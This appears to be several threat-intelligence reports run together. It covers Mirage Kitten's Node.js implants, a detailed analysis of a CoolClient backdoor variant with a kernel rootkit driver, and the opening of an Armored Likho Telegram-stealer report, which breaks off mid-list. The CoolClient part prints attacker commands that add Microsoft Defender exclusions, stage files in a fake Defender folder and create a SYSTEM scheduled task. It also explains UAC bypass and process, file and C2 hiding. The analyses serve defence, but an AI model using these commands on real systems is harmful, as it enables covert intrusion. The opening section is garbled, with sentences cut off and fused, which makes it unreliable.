| aceofspadesmanagement[.]com | 2026-05-18 | NameCheap, Inc. |
| glmediaagency[.]com | 2026-05-18 | NameCheap, Inc. |
| digimediaskill[.]com | 2026-05-18 | NameCheap, Inc. |
| healthyweightplan[.]com | 2026-05-18 | NameCheap, Inc. |
| mens-health-online[.]com | 2026-05-15 | NameCheap, Inc. |
Based on our telemetry, we identified victims in fintech, aviation and aerospace sectors across the Middle East and Africa – specifically, in Egypt, Ethiopia and Afghanistan.
We also observed submissions of ZIP archives with trojanized projects containing NodeRabbit and PollCat to an online multi-scanner originating from several countries, including India, Türkiye, Israel, Iraq, Germany, and Ireland.
We attribute this activity to Mirage Kitten with a high degree of confidence based on the following observations:
810F8E3B88EB05F710C09552941D6F56)
POST request. Notably, both treat HTTP 400 as a successful handshake response rather than an error, parsing the response body to extract a socketId, which is then stored and used as the session token for subsequent C2 communication.
Similar C2 handshake and socketId session establishment logic in MiniFast/Retrograde and PollCat
| Malware | Host registration request body | C2 endpoint |
| PollCat | {“token”:”<socketId>”,”pcName”:”<host>”,”userName”:”<user>”,”domainName”:”<domain>”,”os”:”<os>”,”isElevated”:false} | /gate/hello |
| MiniFast/Retrograde | {“token”:”<socketId>”,”pcName”:”<host>”,”userName”:”<user>”,”domainName”:”<USERDOMAIN>”,”isElevated”:<bool>} | /agent/init |
socketId as a token. Retrograde/MiniFast uses GET /agent/poll?token=<socketId>, while PollCat follows the same pattern with GET /gate/fetch?token=<socketId>, demonstrating a closely aligned C2 communication structure.0x1D4C0), a jitter of 5,000 ms (0x1388), and a retry timeout of 60,000 ms (0xEA60). This further highlights the structural similarities between the two C2 communication implementations.REQUEST_ELEVATION (0xB0) and PERSIST (0xB1) but does not implement them. In MiniFast, both are functional: 0xB0 performs UAC elevation, while 0xB1 creates the WindowsSecurityUpdate scheduled task for persistence.
Command set similarities between MiniFast/Retrograde and PollCat, including shared command identifiers
curl.exe --proxy-anyauth --proxy-user, using the victim’s logon session. Retrograde/MiniFast native DLL implements the same approach natively through WinHttpQueryAuthSchemes and WinHttpSetCredentials with NULL credentials. This shared proxy-aware C2 design suggests the same development approach across both malware families.onlyoffice.com for this purpose. In this activity, the group shifted to Amazon S3 buckets.Mirage Kitten’s latest activity marks a notable evolution in the group’s tooling: NodeRabbit and PollCat are the group’s first Node.js/JavaScript-based implants, departing from its usual native malware deployed through DLL search-order hijacking. The shift to cross-platform scripting gives the operators a single codebase that runs on Windows, Linux, and macOS, with payloads that blend naturally into developer workstations.
The delivery mechanism, however, remains consistent with Mirage Kitten’s historical tradecraft: the use of recruiter personas on LinkedIn to target critical sectors across the Middle East and Africa for cyberespionage purposes. We continue to track the group’s activity and will report on new developments in future publications.
Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.
CBAAF0900A13F28E380F49ADECEC932C FrontEnd-Task.zip
1EA83E4E4592B01E4ACAB63EB867BEE5 Front-Technical-Challenge.zip
366515822D5AC1CC500711EF57A2E32E Task-FullStack.zip
CF449F1992C2819E62AC44A0B06AC2E7 fullstack-1536.zip
E95A4366686E3F786EA3C056FAB5B0DA webapp76592.zip
DE5AF16A3757EF700B01DC34D67079AE webapp76531.zip
BE086789568441D0D7E4679AEE51F566 challenges-17831.zip
E259C5EDF158AAC4CFE14F77DDD0B196 challenges-17832.zip
291AC3ABE73C5158E59A437B75D5F0AA Project-1802.zip
0962F56D7EC69F4F2A0162DCBE22116B Case-34234.zip
795E053A990A1569FFDCB57F48F6D085 RankChallenge-react-6uJSX3-main.zip
oracle-challenge.s3[.]us-east-1.amazonaws[.]com
naturalapplication.azurewebsites[.]net
retaildemo.azurewebsites[.]net
tubitak.azurewebsites[.]net
rgbteller.azurewebsites[.]net
wslwebui.azurewebsites[.]net
plugplay.azurewebsites[.]net
crossdwm.azurewebsites[.]net
wdisystem.azurewebsites[.]net
wslmenus.azurewebsites[.]net
dnshnsdev.azurewebsites[.]net
hpjumpsrv.azurewebsites[.]net
storview.azurewebsites[.]net
healthcomfsdpower[.]com
visitfinancedentists[.]com
kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net
greenyjsgfd.azurewebsites[.]net
helptellerbls.azurewebsites[.]net
timedrv.azurewebsites[.]net
userwellgtfs.azurewebsites[.]net
hecowime-aqdphyd4bbdef6es.westeurope-01.azurewebsites[.]net
msmanagementgrp[.]com
msmanagementgrpmedia[.]com
lifespotify[.]com
gamebarapp.azurewebsites[.]net
gamebarappinformation.azurewebsites[.]net
sahi-finance[.]com
healthful-hub[.]com
neumedicahealthcare[.]com
optimumhealthcredit[.]com
healthfullyrecipes[.]com
Refreshhealthandwellness[.]com
healthvitalitycare[.]com
aceofspadesmanagement[.]com
glmediaagency[.]com
digimediaskill[.]com
healthyweightplan[.]com
mens-health-online[.]com
CoolClient is a backdoor family attributed to the HoneyMyte APT group (also known as Mustang Panda) that has been used in their cyber-espionage campaigns targeting organizations across Asia and Russia. It supports such capabilities as keylogging, clipboard theft, credential harvesting, file management, system reconnaissance, and plugin-based extensions.
Since its first public disclosure by Sophos in 2022 and subsequent analysis by Trend Micro in 2023, CoolClient has continued to evolve. In 2025, we analyzed a newer variant that introduced clipboard theft and HTTP traffic interception for credential harvesting.
In late 2025 and 2026, our latest investigation reveal another major evolution. The newest CoolClient variant can deploy a signed kernel-mode driver as a Windows service and communicate with it through IOCTL requests. The driver enhances the malware’s stealth by hiding the CoolClient process, protecting related files and registry entries, and preventing them from being inspected or modified. The overall design is comparable to the kernel-mode enhancements previously observed in ToneShell, but the CoolClient driver exposes dedicated IOCTL handlers that allow the user-mode backdoor to communicate directly with the driver.
We have observed this updated CoolClient variant and its accompanying driver in intrusions across multiple countries in Asia, including Pakistan, Mongolia, and Myanmar.
In the observed campaign targeting Myanmar, HoneyMyte used PlugX as the initial post-compromise implant to deploy the CoolClient components. Before deploying the malware, the actor added both a folder exclusion and a file exclusion to Microsoft Defender for the fake Windows Defender installation directory and the renamed sideloader executable (defender.exe).
wmic /Node:localhost /Namespace:\\Root\Microsoft\Windows\Defender Path MSFT_MpPreference call Add ExclusionPath="$programfiles\Microsoft\Windows Defender" wmic /Node:localhost /Namespace:\\Root\Microsoft\Windows\Defender Path MSFT_MpPreference call Add ExclusionPath="$programfiles\Microsoft\Windows Defender\defender.exe"
The actor then created a fake Windows Defender installation directory, copied the CoolClient components into it, and renamed a legitimate Sangfor executable, usually named Sang.exe, to defender.exe to serve as the DLL sideloader.
xcopy "$programfiles\Windows Defender\*" "$programfiles\Microsoft\Windows Defender" /a /s /v /e /f
Persistence was established through a scheduled task that launched defender.exe with SYSTEM privileges during system startup.
schtasks /create /sc onstart /tn "\Microsoft\Windows\Windows Defender Advanced Threat Protection Service" /tr "\"$programfiles\Microsoft\Windows Defender\defender.exe\"" /ru "system" /F
When executed, defender.exe sideloads the malicious libngs.dll, initiating the CoolClient execution chain described in the following sections.
Similar to previous variants, the latest CoolClient user-mode component follows a multi-stage execution chain, with each component performing a distinct role during execution.
| Component | Description |
| defender.exe / Sang.exe | Legitimate Sangfor application abused for DLL sideloading |
| libsrapc.dll | Benign dependency required for the Sangfor application to execute normally |
| libngs.dll | First-stage loader that decrypts and loads the next stage into memory (First stage) |
| loadcert.ini | Encrypted DLL implementing the core CoolClient functionality, including command handling, process injection, driver deployment, and persistence (Second stage) |
| cert.ini | Final-stage implant responsible for C2 communication and backdoor functionality (Final stage) |
| time.ini | CoolCleint configuration file |
Our previous CoolClient analysis focused primarily on the final-stage implant (main.dat), including its backdoor commands and plugin framework, while the first-stage loader (libngs.dll) and second-stage component (loader.dat) received only a brief overview. In the latest variant CoolClient, loader.dat and main.dat have been renamed to loadcert.ini and cert.ini, respectively. This article revisits those earlier stages, focusing on the second-stage component and the newly introduced kernel-mode driver that extends CoolClient with rootkit capabilities.
Overview of the new variant of CoolClient
Execution begins when the legitimate Sangfor application (defender.exe or Sang.exe) loads the malicious libngs.dll through DLL sideloading. As in previous CoolClient variants, the malware continues to abuse the same Sangfor application to execute its first-stage loader.
To make the DLL appear legitimate, libngs.dll exports numerous dummy functions. Each export simply calls OutputDebugStringA with its corresponding function name before immediately invoking ExitProcess, serving no functional purpose other than mimicking the expected export table of the legitimate DLL.
Dummy export functions in libngs.dll invoking OutputDebugStringA and ExitProcess
The actual malicious logic is executed from DllMain (DllEntryPoint). Although heavily obfuscated through control flow flattening and numerous unconditional jumps, the routine ultimately performs a straightforward task: loading, decrypting, and executing the encrypted second-stage DLL, loadcert.ini.
The loader resolves the required Windows APIs, reads loadcert.ini into memory, and decrypts it using a 0x32-byte repeating XOR keystream derived from a transformed seed value of 0xA4. After decryption, the DLL is loaded directly into memory, and execution is transferred to loadcert.ini.
loadcert.ini (before synchost.exe injection)The second-stage DLL, loadcert.ini, is responsible for preparing the execution environment before the malware transitions into its injected process. It first determines its execution context by checking whether the current module is synchost.exe.
If the DLL is running under the original sideloaded process (for example, Sang.exe), it performs the initial setup, including persistence, UAC bypass, registry modifications, and process injection.
If the DLL is already executing inside synchost.exe, it follows a different execution path that decrypts time.ini, deploys the kernel-mode driver, and loads the final-stage implant (cert.ini).
The command handler remains largely unchanged from previous CoolClient variants, with one notable difference: the malware now injects into synchost.exe instead of write.exe.
Execution is controlled through three command-line parameters:
| Parameter | Purpose |
| install | Performs the initial setup, including persistence, privilege checks, and preparation for the injected execution path. |
| work | Executes the primary second-stage functionality from the injected synchost.exe process, including driver deployment and third-stage loading. |
| passuac | Continues execution after privilege elevation. |
If no parameter is supplied, the malware creates a new Sang.exe process with the install parameter using CreateProcessW.
When executed with the install parameter, CoolClient creates an AutoRun entry under:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
The registry value, named goopdate, launches Sang.exe (or defender.exe, depending on the deployment) with the work parameter whenever the user logs on.
Upon establishing the AutoRun registry entry, CoolClient decrypts loadcert.ini using a 0x32-byte repeating XOR keystream derived from the hardcoded base key 0x4D.
The decrypted DLL is then injected into a newly created suspended instance of synchost.exe. The malware allocates memory in the target process, writes the decrypted payload, redirects the thread context to the injected code, resumes execution, and finally terminates the original process with ExitProcess.
From this point onward, execution continues entirely within synchost.exe, where the malware proceeds with kernel-mode driver deployment before loading the final-stage implant (cert.ini).
When executed with the install parameter, CoolClient establishes an additional persistence mechanism by installing itself as a Windows service. Before doing so, it verifies that it has sufficient access to the Service Control Manager and that no 360 Total Security software processes (360sd.exe, zhudongfangyu.exe, or 360desktopservice64.exe) are running.
Function to check for running 360 Total Security software processes
If both checks succeed, the malware decrypts time.ini to retrieve the service configuration, including the service name and description. It then checks whether the service media_updaten already exists. If found, the existing service is stopped and deleted before a new one is created.
The new service is configured to execute Sang.exe<.code> with the work parameter using CreateServiceA. The malware then starts the service by executing "sc start media_updaten" via WinExec.
If the service installation path is not taken, CoolClient checks whether the current process is running with administrator privileges by verifying membership in the local Administrators group.
When administrative privileges are available, the malware relaunches itself with the passuac parameter before continuing with the remaining execution flow.
To continue execution with elevated privileges while concealing its true parent process, CoolClient implements an RPC-based process creation technique similar to the method described by Google Project Zero. The technique combines RPC process creation with parent process ID (PPID) spoofing to launch a new elevated instance of itself.
The malware first checks for the presence of escanmon.exe. If the process is running, it constructs the path to C:\Windows\System32\winver.exe and establishes a connection to the local ncalrpc endpoint (201ef99a-7fa0-444c-9399-19ba84f12a1a). It then invokes NdrAsyncClientCall to launch winver.exe through the RPC interface.
Authenticated RPC binding used during the RPC-based UAC bypass
After winver.exe is created, CoolClient retrieves its debug object using NtQueryInformationProcess, detaches the debugger through NtRemoveProcessDebug, and terminates the process. The obtained debug object is later reused during the remainder of the UAC bypass routine.
Next, the malware repeats the same RPC-based process creation technique to launch computerdefaults.exe. It associates the previously obtained debug object with the current thread using DbgUiSetThreadDebugObject, waits for the resulting process creation event through WaitForDebugEvent, and duplicates the process handle using NtDuplicateObject, obtaining a handle with full access rights.
Finally, CoolClient relaunches itself as Sang.exe passuac using CreateProcessW with an extended startup attribute list. By configuring PROC_THREAD_ATTRIBUTE_PARENT_PROCESS through UpdateProcThreadAttribute, the duplicated process handle is assigned as the parent of the new process. As a result, the new Sang.exe passuac instance executes with an elevated context while appearing to have been spawned by the trusted Windows process instead of the original CoolClient process.
After being injected into synchost.exe, loadcert.ini follows its injected execution path, where it deploys the kernel-mode driver and launches the final-stage implant (cert.ini). If administrative privileges are unavailable, the malware skips driver deployment and proceeds directly to the third-stage injection.
The deployment routine begins by decrypting time.ini. CoolClient then verifies that it has sufficient privileges to install a kernel-mode driver by checking for full access to the Service Control Manager (SCM) and the presence of SeTcbPrivilege.
If both conditions are met, CoolClient extracts an embedded LZMA-compressed driver from loadcert.ini, decompresses it, and writes it to disk as msagent.sys in the same directory as cert.ini, for example:
C:\Program Files\Microsoft\Windows Defender\msagent.sys
Next, the malware checks whether a service named msagent already exists. If present, the existing service is stopped and deleted before a new driver service is created and started, loading the kernel-mode component into the operating system.
After the driver is loaded, CoolClient establishes communication with it by opening the device \\.\msagent using CreateFileW. The user-mode component then initializes the driver by issuing three DeviceIoControl requests.
| IOCTL | Purpose |
| 0x222120 | Registers the current CoolClient process with the driver. |
| 0x2221E0 | Sends the configured C2 IPv4 address to the driver. |
| 0x2220F0 | Registers filesystem and registry paths that should be protected or hidden. |
The first request (0x222120) registers the current CoolClient process as a trusted process within the driver. The request includes the process ID, an operation code, and a flag that marks the process as trusted, allowing it to interact with protected files, registry keys, and processes.
The second request (0x2221E0) passes the configured C2 IPv4 address extracted from time.ini.
Finally, 0x2220F0 registers the CoolClient installation directory (for example, C:\Program Files\Microsoft\Windows Defender\) together with the service registry path (\Registry\Machine\SYSTEM\CurrentControlSet\Services\media_updaten). These entries allow the driver to protect the malware’s files and registry objects from inspection, modification, and deletion.
As part of the initialization, CoolClient updates the HKLM\SYSTEM\RNG\Wid_H1deF5Dirs registry value by appending its installation directory if it is not already present. This registry value is later used by the driver when applying its hiding and protection mechanisms.
The implementation of these IOCTL handlers and the corresponding driver functionality are discussed in the msagent.sys section.
Once the driver has been initialized, CoolClient proceeds to launch the final-stage implant (cert.ini). Before creating the target process, the malware enumerates active WinStation sessions to identify a suitable interactive user session.
After selecting a session, CoolClient duplicates its access token, updates the session identifier, and creates a new synchost.exe process using CreateProcessAsUserA. The decrypted cert.ini DLL is then injected into the suspended process using the same memory allocation, thread context modification, and ResumeThread technique described earlier.
This marks the final transition in the execution chain, where the third-stage implant takes over C2 communication and the remaining backdoor functionality.
Analysis of the deployed kernel-mode driver reveals an embedded PDB path:
PDB Path
E:\work\南京实验室\2024项目\张雪杰云南m\研发\FTool\Tool\x64\Release\FTool.pdb
南京实验室) and “Zhang Xuejie Yunnan m” (张雪杰云南m), which likely refer to the driver’s development environment. However, our OSINT analysis did not identify any information linking these strings to a known organization, developer, or threat actor.
The driver is digitally signed with a certificate issued to "Nanjing Ranyi Technology Co., Ltd.", with serial number 3E 62 DC 5D 8D 61 2A 26 33 E7 6B DF D6 07 19 DD. The certificate was valid from August 2013 to September 2014.
We identified several older malicious drivers signed with the same certificate that were compiled around 2013. However, we found no evidence directly linking those samples to the CoolClient activity described in this article.
During initialization, the driver loads its stealth configuration from the registry key \REGISTRY\MACHINE\SYSTEM\RNG. The configuration defines which system objects should be hidden or protected and controls the driver’s operating mode.
Registry configuration loaded by the driver during initialization
Two REG_DWORD values control the driver’s operating mode:
| Registry Value | Default | Description |
| Hid_State | 1 | Enables the driver’s rootkit functionality. |
| Hid_StealthMode | 0 | Controls additional stealth features used by selected driver routines. |
In addition, the driver loads several REG_MULTI_SZ values that define the objects to be hidden or protected.
| Registry Value | Purpose |
| Wid_H1deF5Dirs | Directories to hide |
| Wid_H1deF5Files | Files to hide |
| Wid_H1deRegKeys | Registry keys to hide |
| Wid_H1deRegValues | Registry values to hide |
| Hid_IgnoredImages | Processes to ignore |
| Hid_ProtectedImages | Processes to protect |
Together, these registry values determine which filesystem paths, registry objects, and processes are managed by the driver’s protection mechanisms.
After loading the configuration, the driver converts the registry entries into internal lookup structures that are shared across its various protection components.
These structures are later referenced by the filesystem minifilter, registry callback, process callback, object callback, image load callback, and IOCTL handlers to determine whether a file, registry object, or process should be hidden, protected, or ignored.
Next, the driver dynamically locates the ActiveProcessLinks (LIST_ENTRY) field within the EPROCESS structure instead of relying on hardcoded offsets. It first validates several predefined offsets and, if none match, performs a linear scan of the EPROCESS structure to identify the correct location. This approach allows the driver to remain compatible across different Windows versions, where the layout of EPROCESS may differ.
The driver validates candidate ActiveProcessLinks layouts before enabling process hiding
Once the correct offset has been identified, it is stored for later use by the process hiding routines. During process hiding and restoration, the driver uses IOCTLs 0x22219C and 0x2221A0 to unlink and relink entries in the Windows active process list, effectively hiding or restoring processes on demand.
After preparing its process tracking structures, the driver initializes several AVL trees and populates them with configuration entries loaded from the registry, including Wid_H1deF5Dirs, Wid_H1deF5Files, Wid_H1deRegKeys, Wid_H1deRegValues, Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages.
These AVL trees provide efficient lookups for protected files, registry objects, and tracked processes, and are shared by the callback routines and IOCTL handlers.
The driver then registers three types of kernel callbacks that form the foundation of its protection and monitoring mechanisms:
ObRegisterCallbacksPsSetCreateProcessNotifyRoutineExPsSetLoadImageNotifyRoutine
Registration of object, process, and image load callbacks during driver initialization
After registration, these callbacks maintain the driver’s internal tracking structures as processes, threads, and images are created or loaded.
To protect selected processes, the driver registers object callbacks for process (PsProcessType) and thread (PsThreadType) objects using ObRegisterCallbacks with an altitude of 1203. These callbacks intercept requests to open process and thread handles. If the target process is protected, the driver reduces the access rights granted to the requesting process, preventing operations such as process termination, code injection, and other forms of process manipulation. In this sample, the protected process is the injected CoolClient code running inside synchost.exe.
The driver registers process creation and termination callbacks using PsSetCreateProcessNotifyRoutineEx, together with an image load callback via PsSetLoadImageNotifyRoutine.
When a process is created, its image name is compared against the configuration lists Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages. Matching processes are added to the driver’s internal tracking structures, allowing them to be protected, hidden, or managed through subsequent IOCTL requests. When a tracked process terminates, its entry is removed from the tracking structures.
The image load callback monitors modules loaded into tracked processes and updates the driver’s internal state to support subsequent protection and hiding operations.
To ensure that processes already running before the driver is initialized are also tracked, the driver performs a one-time enumeration of all active processes after registering the callbacks and adds any matching processes to the tracking structures.
To protect files and directories, the driver registers a filesystem minifilter. During initialization, it creates internal path filter lists, loads the configured directory and file entries (Wid_H1deF5Dirs and Wid_H1deF5Files), and creates the required minifilter registry entries under HKLM\SYSTEM\CurrentControlSet\Services\msagent\Instances. To avoid altitude conflicts, the driver dynamically assigns a filter altitude and retries registration until a unique value is obtained.
Retrying minifilter registration with incrementing filter altitude values until FltRegisterFilter succeeds
The driver then activates the minifilter using FltRegisterFilter. The filter works together with the IOCTL interface, which dynamically adds, removes, or clears protected path entries (0x2220F0, 0x2220F4, and 0x2220F8). During filesystem operations, the minifilter compares accessed paths against its internal path lists and denies access to matching entries, effectively hiding protected files and directories from users and applications.
To protect registry keys and values, the driver registers a registry callback using CmRegisterCallbackEx with an altitude of 320000. During initialization, it creates separate lookup structures for protected registry keys and values, then populates them using the configured entries from Wid_H1deRegKeys and Wid_H1deRegValues.
Registration of the registry callback using CmRegisterCallbackEx with an altitude of 320000
Once registered, the callback intercepts registry operations and compares the target key or value against the protected entries. For enumeration requests, matching keys and values are removed from the results before they are returned to user mode, effectively hiding them from registry viewers. For direct access requests, such as opening, modifying, or deleting protected registry objects, the callback returns STATUS_ACCESS_DENIED, preventing the operation.
Before applying these restrictions, the driver verifies whether the requesting process is trusted. Processes registered through IOCTL 0x222120, including the CoolClient user-mode component, bypass the filtering logic and retain unrestricted access, while all other processes remain subject to the driver’s registry protection rules.
To communicate with the user-mode component, the driver creates a device object named \Device\ToolTool together with the symbolic link \DosDevices\ToolTool to allow the user-mode CoolClient component to communicate with the driver through DeviceIoControl requests.
The driver implements 33 IOCTL handlers, although the analyzed CoolClient sample uses only three during normal execution:
0x222120: registers the current CoolClient process with the driver.0x2221E0: passes the configured C2 IPv4 address.0x2220F0: registers filesystem and registry paths for protection.The remaining IOCTL handlers were not invoked by the analyzed sample.
| IOCTL | Handler | Functionality |
| 0x222000 | 0x140001E04 | Enable or disable the rootkit. |
| 0x222004 | 0x1400020B0 | Query the current rootkit state. |
| 0x2220F0 | 0x140002320 | ● Register protected filesystem or registry paths ● Used by CoolClient to register its installation directory and service registry key. |
| 0x2220F4 | 0x1400034DC | Remove a protected filesystem or registry path. |
| 0x2220F8 | 0x140003464 | Clear all protected filesystem and registry path entries. |
| 0x222118 | 0x1400024B0 | Register process or path protection entries. |
| 0x22211C | 0x140002A20 | Query registered protection entries. |
| 0x222120 | 0x140003794 | Update process protection entries. Used by CoolClient to register itself as a trusted process. |
| 0x222124 | 0x14000362C | Remove a protection entry. |
| 0x222128 | 0x14000349C | Clear all process protection entries. |
| 0x222130 | 0x14000265C | Register a protected process by PID. |
| 0x222134 | 0x140010E88 | Inject shellcode into a target process using NtCreateThreadEx. |
| 0x222138 | 0x14000F498 | Hide a kernel module by unlinking it from PsLoadedModuleList. |
| 0x222144 | 0x14000270C | Delete a file. |
| 0x222148 | 0x14000286C | Decrypt an embedded buffer and write it to disk. |
| 0x22214C | 0x1400027F4 | Read and decrypt an encrypted file. |
| 0x222168 | 0x140002780 | Unmap the image section of a target process. |
| 0x22216C | 0x140013984 | Terminate a process by PID. |
| 0x222194 | 0x140011F50 | Remove Protected Process Light (PPL) protection. |
| 0x222198 | 0x140002940 | Create or modify a registry value. |
| 0x22219C | 0x140010630 | Hide a process by unlinking it from the active process list. |
| 0x2221A0 | 0x140010670 | Restore a previously hidden process. |
| 0x2221A4 | 0x14000F8A0 | Hide a module within a process. |
| 0x2221A8 | 0x14000F954 | Restore a hidden module. |
| 0x2221AC | 0x140016368 | Enumerate and restore kernel notification callbacks. |
| 0x2221B0 | 0x140016458 | Disable or restore kernel notification callbacks. |
| 0x2221B4 | 0x140012408 | Manually load a secondary kernel driver. |
| 0x2221B8 | 0x14001262C | Debug/test handler. |
| 0x2221BC | 0x1400165F6 | Write to an arbitrary kernel address. |
| 0x2221C0 | 0x14000BB00, 0x14000BB78 | Enables deny-rootkit mode by registering image-load monitoring and enabling the patching logic. |
| 0x2221C4 | 0x14000BB6C, 0x14000BB10 | Disables deny-rootkit mode by clearing state and unregistering/removing the monitoring logic. |
| 0x2221E0 | 0x1400126C0 | Register a C2 IPv4 address. |
| 0x2221E4 | 0x140012E50 | Delete a C2 IPv4 address. |
After initializing the IOCTL dispatcher, the driver releases the temporary configuration buffer that was previously loaded from \REGISTRY\MACHINE\SYSTEM\RNG.
To support kernel module hiding, the driver resolves the address of the non-exported kernel variable PsLoadedModuleList at runtime using MmGetSystemRoutineAddress. This global linked list maintains information about all loaded kernel modules and drivers, allowing the rootkit to enumerate and manipulate module entries.
Driver initialization routine resolving the address of PsLoadedModuleList for subsequent kernel module hiding
This functionality is exposed through IOCTL 0x222138, which accepts a module name or path from the user-mode component. When a matching module is found, the driver locates the corresponding entry in PsLoadedModuleList and unlinks it by updating its Flink and Blink pointers. As a result, the hidden module no longer appears in standard kernel module enumeration routines.
The driver also hooks the Nsiproxy driver to filter network-related data returned to user mode. This functionality is connected to IOCTL 0x2221E0, which allows the user-mode component to register C2 IPv4 addresses with the driver.
To install the hook, the driver obtains a reference to \Driver\Nsiproxy using ObReferenceObjectByName and replaces one of the Nsiproxy handler pointers with its own filtering routine. The hook preserves the original handler and forwards execution after processing the returned data.
Installing the Nsiproxy hook by resolving \Driver\Nsiproxy and replacing the original handler with the driver’s filtering routine
When the hooked routine processes network information, the driver compares the returned entries against its registered C2 address list. Matching IP addresses are removed before the data is returned to user mode, preventing applications that rely on Nsiproxy-provided network information from seeing the malware’s C2 addresses.
Finally, the driver registers a DriverUnload routine to release allocated resources when the driver is unloaded.
The latest CoolClient variant continues to target organizations consistent with previously observed HoneyMyte activity. Based on our investigations, we identified victims in Myanmar, Mongolia, Pakistan, and Russia, including confirmed government entities.
Across the observed intrusions, CoolClient was consistently deployed as a secondary backdoor following a PlugX infection, indicating that HoneyMyte continues to use PlugX as its initial post-compromise implant before transitioning to CoolClient.
Our analysis confirms that the investigated malware is a new CoolClient variant associated with the HoneyMyte threat group. While the overall execution flow remains consistent with previously documented CoolClient variants, this sample introduces a previously undocumented kernel-mode driver that significantly expands the malware’s stealth capabilities.
The deployment chain observed in this investigation is also consistent with previous HoneyMyte campaigns, in which PlugX serves as the initial foothold before CoolClient is deployed as a secondary backdoor, further reinforcing the attribution.
The latest CoolClient variant represents a significant evolution of the malware. Rather than operating solely as a user-mode backdoor with plugin support, it now deploys and communicates with a kernel-mode driver that extends its capabilities beyond earlier versions. Through this driver, CoolClient can hide and protect processes, files, and registry objects, as well as filter selected network information, making detection and analysis considerably more difficult.
HoneyMyte has previously introduced kernel-mode functionality in ToneShell. The addition of a kernel-mode driver to CoolClient suggests that the group continues to expand its use of rootkit capabilities to improve stealth, persistence, and defense evasion during post-compromise operations.
2d7c8780e97409770a9d4f31c66c9d63 msagent.sys
9460E150E1981D5C165043520C5C12FE msagent.sys
9717F005C5FB98E08D2AD983D88F94EE libngs.dll
F518D8E5FE70D9090F6280C68A95998F libngs.dll
EB79558B037669792652A816E2C669DE ctxmui.dll
C:\Program Files\microsoft\windows defender\
C:\Program Files\windows media player\mediares\
C:\ProgramData\symantecdir\
C:\ProgramData\virtualstore\
C:\Windows\identitycrl\production\
C:\Windows\serviceprofiles\networkservice\
C:\Users\<user>\AppData\Local\viber24.8\
C:\Users\<user>\AppData\Roaming\dsassistant\
C:\Program Files\common files\microsoft shared\office14\
C:\programdata\msdn\
cloudtroe.giize[.]com
employers.theworkpc[.]com
freeread.casacam[.]net
us.lenovoappstore[.]com
sundanish.freeddns[.]org
torinarlabs.webredirect[.]org
news.dursamjbataar[.]org
video.dursamjbataar[.]org
black-popular[.]com
whatismybestthing[.]com
In May 2026, we discovered a new cyber-espionage campaign by the Armored Likho group, also known as Eagle Werewolf, that targets private individuals and organizations across various industries in Russia, including major corporations, the public sector, IT, and education. The attackers used a fake app as bait that mimics a service for donations. However, the most interesting part of this campaign isn’t the initial infection method – it’s the malicious implants the attackers use for cyber-espionage.
We’ve written previously about recent Armored Likho attacks, but our analysis shows that the campaign discussed below has more in common with the group’s activity from February. That said, the attackers have significantly expanded their arsenal.
During our research, we found a new cyber-espionage toolkit written in Rust: the Still Toolkit. One of its components, Still Sync, steals Telegram session data to gain ongoing access to the victim’s account. With this stolen data, attackers can leverage the Telegram API to automatically pull chat logs, media files, and other information from the account.
The second component, Still Audio, is an implant for covert audio surveillance. It analyzes the incoming audio stream, automatically detects speech, records conversations, and sends the recordings to a command-and-control server.
In this article, we’ll look at the initial infection method, how the new Still Toolkit components are built, and the technical details of how they operate.
Kaspersky products detect this threat as Trojan.Win64.Agent.* and HEUR:Backdoor.Win32.Generic.
Armored Likho’s malicious activity has been documented several times before: in November 2024, and in February and July 2026. The current campaign shows significant overlap with the November and February campaigns, which used malicious droppers disguised as documents and applications related to Starlink activation or fundraising efforts as the initial infection vector. This campaign also uses fundraising as its lure. At the same time, our research uncovered a number of new tools that point to the attackers expanding their capabilities.
The infection chain starts with an app that mimics a donation service. As of this writing, the app distribution method remains unknown. During our research, however, we obtained several samples posing as apps from different Russian foundations.
In reality, the app is a dropper. Its developers wrote it in Rust on top of the popular Tauri framework, and it has a graphical interface designed to deceive the user. After launch, it displays a login form that asks for a password, presumably one the attackers supplied.
The login form
After the user enters a valid password, they see a catalog of donatable items. The app pulls item and category information from orderapiserver[.]info through the public/categories and public/products endpoints. A clickable catalog makes the app look legitimate. While the user browses the items, the dropper quietly decrypts and launches the payload for the next stage in the background.
Our analysis shows that the mechanism for decrypting the payload and launching subsequent stages hasn’t changed since the February campaign. However, we found a new cyber-espionage toolkit – the Still Toolkit – made up of two components: Still Sync and Still Audio.
Still Sync is a stealer written in Rust that steals Telegram session data. However, its capabilities don’t stop there. With this stolen data, Sync can log in to the victim’s account and pull messages and media files through the Telegram API.
Architecturally, Sync is an asynchronous application based on the Tokio library. It talks to the server over gRPC and serializes messages with FlatBuffers. It supports both HTTP and HTTPS as transport protocols; the URL of the command-and-control server determines which one it uses.
When Sync launches, the attackers set several environment variables. Before starting any malicious activity, the implant pulls configuration parameters from these:
https://tg4service[.]com:443.tdatatdata folder, if Telegram data encryption is enabled on the victim’s device.Sync also supports several command-line arguments:
--console: runs as a console application. If this parameter is absent, the implant creates a TReload service to keep running in the background.--version: prints version information and exits.--firefly: launches a trace thread that monitors the program’s operation. It writes error messages to a hidden file, bin, located in the same folder as the main executable.--db: turns on debug mode with detailed logging.
Example Still Sync logs
Once it launches, the malware begins registering the device with the C2 server. To do this, Sync collects the following information about the victim’s system:
The malware combines the collected data into a single string with a colon as the separator. It then hashes that string with SHA-256 and stores the resulting hash under the key sysmarker. Worth noting: other Armored Likho tools, AquilaRAT included, use this same hashing algorithm.
Sync then serializes a package containing all the collected information and the agent version, and sends it in a POST request to /still.rpc.Sync/RegisterMachine. The response contains a machine_id value, which Sync uses to identify itself in subsequent requests.
Once registration succeeds, Sync sends a POST request with the machine_id parameter to /still.rpc.Sync/GetMachineSettings. The server responds with the following settings:
tdata We’ll cover this feature in more detail below.These parameters have no default values, so Sync doesn’t perform any malicious actions until the registration and settings-retrieval processes both complete successfully.
Before stealing a Telegram session, Sync searches for the tdata folder, unless the STILL_SEND_PATH variable is already set. The list of search paths includes both standard and nonstandard directories, if the scan_portable option is turned on:
Sync then sends a POST request with a list of files from the tdata folder to the /still.rpc.Sync/CheckFiles endpoint. The server responds with the following values:
